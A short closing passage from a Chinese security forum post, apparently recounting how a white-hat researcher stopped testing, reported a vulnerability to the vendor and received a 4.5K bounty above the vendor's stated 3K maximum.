在确认所有这些信息后,白帽子停止了继续测试并向厂商报告了以上所有内容,目标厂商对漏洞报告非常满意,尽管他们的最高赏金是3K,但他们为该漏洞支付了4.5K赏金。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:20 , Processed in 0.015333 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表